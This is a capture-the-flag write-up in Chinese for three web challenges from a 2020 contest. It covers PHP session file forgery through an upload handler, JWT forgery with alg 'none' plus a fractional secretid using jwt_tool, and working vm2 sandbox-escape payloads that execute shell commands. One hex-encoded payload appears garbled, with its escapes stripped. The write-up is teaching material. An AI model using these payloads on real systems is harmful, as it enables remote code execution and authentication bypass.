2020數字中國創新大賽-虎符網絡安全賽道丨Web Writeup


 

本文是i春秋論壇作家「OPLV1H」表哥參加2020數字中國創新大賽-虎符網絡安全賽道線上初賽的賽后總結,關於Web的Writeup記錄,感興趣的小伙伴快來學習吧。

 

1、hash_file — 是使用給定文件的內容生成哈希值,和文件名稱無關。

2、jwt令牌結構和jwt_tools的使用。

3、nodejs沙箱溢出進行Getshell。

 

正 文

 

Web 1 BabyUpload

直接貼出源碼

<?php
error_reporting(0);
session_save_path("/var/babyctf/");
session_start();
require_once "/flag";
highlight_file(__FILE__);
if($_SESSION['username'] ==='admin')
{
$filename='/var/babyctf/success.txt';
if(file_exists($filename)){
        safe_delete($filename);
        die($flag);
}
}
else{
$_SESSION['username'] ='guest';
}
$direction = filter_input(INPUT_POST, 'direction');
$attr = filter_input(INPUT_POST, 'attr');
$dir_path = "/var/babyctf/".$attr;
if($attr==="private"){
$dir_path .= "/".$_SESSION['username'];
}
if($direction === "upload"){
try{
    if(!is_uploaded_file($_FILES['up_file']['tmp_name'])){
        throw new RuntimeException('invalid upload');
    }
    $file_path = $dir_path."/".$_FILES['up_file']['name'];
    $file_path .= "_".hash_file("sha256",$_FILES['up_file']['tmp_name']);
    if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
        throw new RuntimeException('invalid file path');
    }
    @mkdir($dir_path, 0700, TRUE);
    if(move_uploaded_file($_FILES['up_file']['tmp_name'],$file_path)){
        $upload_result = "uploaded";
    }else{
        throw new RuntimeException('error while saving');
    }
} catch (RuntimeException $e) {
    $upload_result = $e->getMessage();
}
} elseif ($direction === "download") {
try{
    $filename = basename(filter_input(INPUT_POST, 'filename'));
    $file_path = $dir_path."/".$filename;
    if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
        throw new RuntimeException('invalid file path');
    }
    if(!file_exists($file_path)) {
        throw new RuntimeException('file not exist');
    }
    header('Content-Type: application/force-download');
    header('Content-Length: '.filesize($file_path));    header('Content-Disposition: attachment; filename="'.substr($filename, 0, -65).'"');
    if(readfile($file_path)){
        $download_result = "downloaded";
    }else{
        throw new RuntimeException('error while saving');
    }
} catch (Run![](https://xzfile.aliyuncs.com/media/upload/picture/20200422224456-d5ccdef2-84a7-1.png)timeException $e) {
    $download_result = $e->getMessage();
}
exit;
}
?>

題目大概的邏輯就是先將session存儲在/var/babyctf/中,如果session['username']==='admin',並且file_exists('/var/babyctf/success.txt')存在,則會顯出flag了,注意這里是file_exist函數。

等於說是檢查有沒有這個路徑或者文件,這里為后面做了鋪墊。接下來就是提供了上傳和下載兩個功能,這里存在一處暗示性的代碼:

 $file_path = $dir_path."/".$_FILES['up_file']['name'];
 $file_path .= "_".hash_file("sha256",$_FILES['up_file']['tmp_name']);

因為我們知道,session默認的存儲名稱為sess_XXXXX(為PHPSESSID的值),那么我們先結合download來看一下自己的session,因為服務器端存儲的session內容以及格式我們並不知道,查看一下自己的PHPSESSID對應的session。

 

這里session內容的格式具有一定的迷惑性,查看hex發現前面還藏了個0x08的不可見字符,我們如果想要構造時也需要修改第一個字符為不可見的0x08,有下載也有上傳,而且需要session['username']===admin,因此我們應該需要構造並且上傳一個session,並且知道其對應的PHPSSEID,再回到暗示性代碼上:

文件路徑為/var/babyctf/filename_xxxxxx(此處我們知道上傳的內容,因此這部分可控)因此我們如果將filename設為sess,那不就直接成為session文件了嗎,再利用得到的xxxxx替換原來的PHPSESSID,這樣就能die出flag了。

 

步驟一:構造sess文件

sess文件的內容直接將guest改為admin即可,但注意需要用winhex將第一個字符改成0x08。

 

步驟二:構造上傳表單,並且設置direction為uplaod,attr置空即可。

<html>
<head>
    <title></title>
</head>
<body>
    <form action="http://2709576a-448b-41c9-84bc-b5939c904ab9.node3.buuoj.cn" method="post" enctype="multipart/form-data">
        <input type="text" name="attr" />
        <br>
        <input type="text" name="direction" />
        <br>
        <input type="file" name="upload_file" />
        <br>
        <input type="submit" />
</body>
</html>

將sess上傳:

 

我們可以根據上述download一樣,查看一下是否已經成功上傳了sess_xxxx文件。

步驟三:根據hash_file構造的文件(即PHPSESSID值)進行替換原來的PHPSESSID得到flag。

 

Web 2 EasyLogin

直接給登錄框了,首先進行萬能密碼和掃描目錄的嘗試,沒有收獲,接下來F12查看源代碼,發現/static/js/app.js,果然存在,貼下源碼:

const Koa = require('koa');
const bodyParser = require('koa-bodyparser');
const session = require('koa-session');
const static = require('koa-static');
const views = require('koa-views');

const crypto = require('crypto');
const { resolve } = require('path');

const rest = require('./rest');
const controller = require('./controller');

const PORT = 3000;
const app = new Koa();

app.keys = [crypto.randomBytes(16).toString('hex')];
global.secrets = [];

app.use(static(resolve(__dirname, '.')));

app.use(views(resolve(__dirname, './views'), {
  extension: 'pug'
}));

app.use(session({key: 'sses:aok', maxAge: 86400000}, app));

// parse request body:
app.use(bodyParser());

// prepare restful service
app.use(rest.restify());

// add controllers:
app.use(controller());

app.listen(PORT);
console.log(`app started at port ${PORT}...`);

可知還存在rest.js和controller.js,看這兩個又能發現/controllers/api.js,貼一下關鍵的代碼:

const crypto = require('crypto');
const fs = require('fs')
const jwt = require('jsonwebtoken')

const APIError = require('../rest').APIError;

module.exports = {
    'POST /api/register': async (ctx, next) => {
        const {username, password} = ctx.request.body;

        if(!username || username === 'admin'){
            throw new APIError('register error', 'wrong username');
        }

        if(global.secrets.length > 100000) {
            global.secrets = [];
        }

        const secret = crypto.randomBytes(18).toString('hex');
        const secretid = global.secrets.length;
        global.secrets.push(secret)

        const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});

        ctx.rest({
            token: token
        });

        await next();
    },

    'POST /api/login': async (ctx, next) => {
        const {username, password} = ctx.request.body;

        if(!username || !password) {
            throw new APIError('login error', 'username or password is necessary');
        }

        const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;

        const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;

        console.log(sid)

        if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
            throw new APIError('login error', 'no such secret id');
        }

        const secret = global.secrets[sid];

        const user = jwt.verify(token, secret, {algorithm: 'HS256'});

        const status = username === user.username && password === user.password;

        if(status) {
            ctx.session.username = username;
        }

        ctx.rest({
            status
        });

        await next();
    },

    'GET /api/flag': async (ctx, next) => {
        if(ctx.session.username !== 'admin'){
            throw new APIError('permission error', 'permission denied');
        }

        const flag = fs.readFileSync('/flag').toString();
        ctx.rest({
            flag
        });

        await next();
    },

這就涉及到知識盲區了,后來復現發現是jwt的相關知識,在這里整理一下:

JSON Web令牌以緊湊的形式由三部分組成,這些部分由點(.)分隔,分別是:

  • 頭部(Header)
  • 有效載荷(Payload)
  • 簽名(Signature)

因此,JWT通常形式是xxxxx.yyyyy.zzzzz。

 

頭部(Header)

頭部用於描述關於該JWT的最基本的信息,通常由兩部分組成:令牌的類型(即JWT)和所使用的簽名算法。

例如:

{"alg": "HS256","typ": "JWT"}

然后,此JSON被Base64Url編碼以形成JWT的第一部分。

 

有效載荷(Payload)

令牌的第二部分是載荷,放置了 token 的一些基本信息,以幫助接受它的服務器來理解這個 token。同時還可以包含一些自定義的信息,用戶信息交換。

載荷示例可能是:

{"sub": "1234567890","name": "John Doe","admin": true}

然后,對載荷進行Base64Url編碼,以形成JSON Web令牌的第二部分。

 

簽名(Signature)

要創建簽名部分,您必須獲取編碼的頭部,編碼的有效載荷,密鑰,頭部中指定的算法,並對其進行簽名。

例如,如果要使用HMAC SHA256算法,則將通過以下方式創建簽名:

HMACSHA256(base64UrlEncode(header) + "." +base64UrlEncode(payload),secret)

簽名用於驗證消息在整個過程中沒有更改,並且對於使用私鑰進行簽名的令牌,它還可以驗證JWT的發送者是它所說的真實身份。

但是在這里卻存在個問題,const secret = global.secrets[sid];這里通過全局變量設置了一個secret並作為密鑰進行簽名,而簽名算法保證了JWT在傳輸的過程中不被惡意用戶修改但是header中的alg字段可被修改為none,一些JWT庫支持none算法,即沒有簽名算法,當alg為none時后端不會進行簽名校驗。

但是簽名不是我們能夠直接控制的,但是sid我們是可以控制的,如果在這里我們將sid設置為0.1,可以成功滿足條件並繞過,使得secret是不存在的,也就是null。這里就能直接使用jwt_tools進行生成。

而我們知道有關jwt token的攻擊方法其實分為三種:

1、將簽名算法改為none

2、將RS256算法改為HS256(非對稱密碼算法=>對稱密碼算法)

  • HS256算法使用密鑰為所有消息進行簽名和驗證。
  • 而RS256算法則使用私鑰對消息進行簽名並使用公鑰進行身份驗證。
  • 如果將算法從RS256改為HS256,則后端代碼將使用公鑰作為密鑰,然后使用HS256算法驗證簽名。
  • 由於攻擊者有時可以獲取公鑰,因此,攻擊者可以將頭部中的算法修改為HS256,然后使用RSA公鑰對數據進行簽名。

3、破解HS256(對稱加密算法)密鑰

這里說明一下jwt-tools的用法

 

破解密鑰(HMAC算法)

 python3 jwt_tool.py JWT_HERE -C -d dictionary.txt

嘗試使用“無”算法來創建未驗證的令牌:

python3 jwt_tool.py JWT_HERE -A

我們可以交互方式篡改標頭,有效負載和簽名:

$python3 jwt_tool.py JWT_HERE(jwt token) -T

 

得到jwt

token:eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzZWNyZXRpZCI6IjAuMiIsInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6IjEyMyIsImlhdCI6MTU4NzU2MDY0Nn0

 

只需要修改有效負載,然后最后將標頭alg設為none,就會得到篡改后的jwt token,此時服務器也不會使用簽名校驗,這樣就成功偽造admin,就能調用api/getflag( ),得到flag。

 

Web 3 JustEscape

這個題移花接木,得到run.php后告訴你:

<?php
if( array_key_exists( "code", $_GET ) && $_GET[ 'code' ] != NULL ) {
    $code = $_GET['code'];
    echo eval(code);
} else {
    highlight_file(__FILE__);
}
?>

隨便輸個函數卻給我返回SyntaxError,欺負我沒學過JS。不過結合前文提示,確實不是PHP,而是nodejs寫的,這就涉及到知識盲區了,沒錯全是知識盲區。復現后才知道,原來nodejs是有沙箱逃逸的,可以google hack出HackIM 2019 Web的一道題和這個題類似。

 

解法1

這里我們需要知道加載的模塊,根據google hack學到的,code=Error( ).stack

 

的確是設置了vm的模塊,直接去github上找vm2有的issues,然后試試。找到了幾個,payload一打過去,全給我搞出鍵盤,類比python沙箱逃逸,應該也是ban了一些函數,和其他大佬討論發現既然是禁函數,那如果我code設置為數組,不是就可以繞過禁函數了嗎?

接下來直接開找,issues上是breakout的應該都是能逃逸的payload,結果發現:

 

說是非法return,那就刪掉return試試,發現能夠成功逃逸,實現RCE。最后flag在根目錄下,直接讀取即可。

payload:?code[]=try{Buffer.from(new Proxy({}, {getOwnPropertyDescriptor(){throw f=>f.constructor("return process")();}}));}catch(e){ e(()=>{}).mainModule.require("child_process").execSync("cat /flag").toString();}

 

解法2

類比python的沙箱逃逸,如果一些進制轉換的函數沒有被禁止,我們應該是可以通過一些拼接來得到一些命令,還是能夠繞過實行RCE。這里學習了其他大佬的解法,發現可以通過十六進制編碼來進行關鍵字繞過:

即將一些關鍵字來進行16進制編碼:(vm2倉庫下的issues里面將關鍵字編碼成16進制)

payload=(function(){TypeError[`x70x72x6fx74x6fx74x79x70x65`][`x67x65x74x5fx70x72x6fx63x65x73x73`]=f=>fx63x6fx6ex73x74x72x75x63x74x6fx72();try{Object.preventExtensions(Buffer.from(``)).a = 1;}catch(e){returne[x67x65x74x5fx70x72x6fx63x65x73x73](()=>{}).mainModule.require((`x63x68x69x6cx64x5fx70x72x6fx63x65x73x73`))x65x78x65x63x53x79x6ex63.toString();}})()

注:文章素材來源於i春秋社區, 以上是個人關於本次比賽的一些解題思路,歡迎交流補充。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM